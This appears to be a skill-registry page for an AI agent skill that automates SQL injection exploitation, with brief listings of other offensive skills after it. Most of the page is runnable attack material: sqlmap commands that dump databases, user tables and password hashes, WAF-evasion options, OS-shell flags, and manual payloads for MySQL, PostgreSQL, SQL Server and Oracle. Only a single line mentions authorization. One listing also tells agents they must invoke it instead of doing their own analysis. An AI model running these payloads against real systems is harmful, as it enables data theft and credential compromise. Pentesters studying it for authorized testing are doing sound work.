skills/exploit-sqli/SKILL.md
SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.
npx skillsauth add 0X6C7879/aegissec exploit-sqliInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
DANGER: SQL injection testing can damage or destroy data in production databases. Always ensure you have:
Never test SQL injection on production databases without authorization.
Required tools that must be installed on your system:
pip install sqlmap or git clone https://github.com/sqlmapproject/sqlmapOptional tools:
Most commonly used commands for SQL injection testing:
sqlmap -u "https://target.com/page?id=1"
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
sqlmap -u "https://target.com" --cookie="sessionid=abc123"
When you need to test a URL parameter for SQL injection:
sqlmap -u "https://target.com/page?id=1"
Parameters:
-u - Target URL-p - Specific parameter to test (default: all)--batch - Avoid interactive prompts--random-agent - Use random User-AgentExample:
sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent
When you need to test POST body parameters:
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
From file:
sqlmap -u "https://target.com/login" -d post_data.txt
When you need to test cookies or headers:
# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"
# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"
# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"
Multiple headers:
sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"
When you know or suspect the database type:
sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle
When you need to extract database information:
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs
# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables
# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump
# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all
When you need to extract user credentials:
# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users
# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords
# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump
Manual testing for Union-based SQLi:
# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--
Determine column count:
id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--
Check for string vs integer:
id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--
When error messages are displayed:
# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--
# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--
When no error messages are returned:
Boolean-based:
id=1' AND 1=1--
id=1' AND 1=2--
Time-based (MySQL):
id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--
Time-based (PostgreSQL):
id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-
When WAF blocks injection attempts:
# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments
# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent
# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1
# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U
# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch
# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"
# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"
sqlmap -u "https://target.com/page?id=1" --current-user
# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs
| Option | Description |
|--------|-------------|
| -u | Target URL |
| -r | Parse log file |
| -l | Load from file |
| -m | Scan multiple targets |
| -p | Test specific parameters |
| --skip | Skip parameters |
| --dbms | Force DBMS |
| --os | Force OS |
| --tamper | Tamper script |
| --level | Test level (1-5) |
| --risk | Risk level (1-3) |
| --technique | Specific technique (B/E/U/S/T) |
| --batch | Non-interactive |
| --random-agent | Random User-Agent |
| --proxy | Use proxy |
| --delay | Delay between requests |
| --timeout | Request timeout |
| --retries | Retry attempts |
| --string | Match string |
| --not-string | Not match string |
| --regexp | Regexp filter |
| --grep | Regexp filter for pages |
| --crawl | Crawl site |
| --forms | Parse forms |
| --cookie | Cookie value |
| --headers | Extra headers |
| --user-agent | Custom User-Agent |
| --method | Force method |
| --data | POST data |
| -d | POST data from file |
| --dbs | Enumerate databases |
| --tables | Enumerate tables |
| --columns | Enumerate columns |
| --schema | Enumerate schema |
| --dump | Dump data |
| --dump-all | Dump all |
| --search | Search |
| --users | Enumerate DB users |
| --passwords | Enumerate password hashes |
| --priv-esc | Privilege escalation |
| --os-shell | OS shell |
| --os-pwn | Meterpreter/OBM shell |
| --sql-shell | SQL shell |
| --wizard | Wizard mode |
| -v | Verbosity (0-6) |
-- Version detection
' UNION SELECT @@version--
-- Current user
' UNION SELECT user()--
-- Current database
' UNION SELECT database()--
-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--
-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--
-- Version
' UNION SELECT version()--
-- Current user
' UNION SELECT user--
-- Current database
' UNION SELECT current_database()--
-- All databases
' UNION SELECT datname FROM pg_database--
-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
-- Version
' UNION SELECT @@version--
-- Database
' UNION SELECT DB_NAME()--
-- Tables
' UNION SELECT table_name FROM information_schema.tables--
-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
-- Databases
' UNION SELECT name FROM master..sysdatabases--
-- Version
' UNION SELECT banner FROM v$version--
-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--
-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
When you need to persist SQL injection findings to the database:
# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/login?id=1" \
--parameter id \
--payload "1' OR '1'='1" \
--severity Critical \
--cvss-score 9.8 \
--db-type MySQL \
--subsystem "Web Application"
Parameters:
--host-ip - Target host IP (required)--url - Vulnerable URL (required)--parameter - Vulnerable parameter name (required)--payload - Payload used (required)--severity - Severity level (default: High)--cvss-score - CVSS score (0.0-10.0)--db-type - Database type (e.g., MySQL, PostgreSQL)--subsystem - Subsystem name (optional)--title - Vulnerability title (auto-generated if not specified)--description - Vulnerability descriptionDatabase location: ./data/results.db
Related skills: results-storage - Query data, generate reports
scripts/sqli_payload_generator.py - Generate SQL injection payloadsscripts/boolean_sqli_tester.py - Test blind SQL injectionscripts/response_analyzer.py - Analyze responses for injection cluesreferences/sqlmap_guide.md - Comprehensive SQLMap referencereferences/manual_sqli_techniques.md - Manual injection techniquesreferences/nosql_injection.md - NoSQL injection guideassets/common_error_payloads.txt - Common error-based payloadsassets/time-based_payloads.txt - Time-based blind payloadsassets/dbms_fingerprints.txt - Database fingerprinting patternsdevelopment
WooYun-derived business-logic testing methodology for web apps and APIs. Use when the request involves 支付、退款、订单、越权、认证、授权、价格篡改或业务流程绕过 review, especially black-box probing for price tampering, account takeover, and process bypass flaws.
tools
Escalate privileges on Windows systems using service misconfigurations, DLL hijacking, token manipulation, UAC bypasses, registry exploits, and credential dumping. Use when performing Windows post-exploitation or privilege escalation.
development
Use when performing AD pentest tunneling and pivoting, especially with Ligolo-ng, Chisel, frp, proxychains, SSH forwarding, SOCKS relays, reverse tunnels, or when internal reachability is the main blocker.
development
Threat model, security audit, find vulnerabilities, check security of my app, risk assessment, penetration test prep, analyze attack surface, what could an attacker exploit. Use this skill whenever a user wants holistic security analysis of a codebase, application, or project. MUST be invoked instead of analyzing security yourself — it runs a specialized 8-phase STRIDE workflow producing professional deliverables you cannot generate alone: risk assessment reports, DFD diagrams, threat inventories, attack path validation, mitigation plans, and pentest plans. Trigger on: 威胁建模, 安全评估, 渗透测试, 安全分析, 安全审计, 安全检查, 风险评估. NOT for: fixing one specific bug, adding one security feature (rate limiting, CORS), writing tests, CI/CD setup, or debugging errors.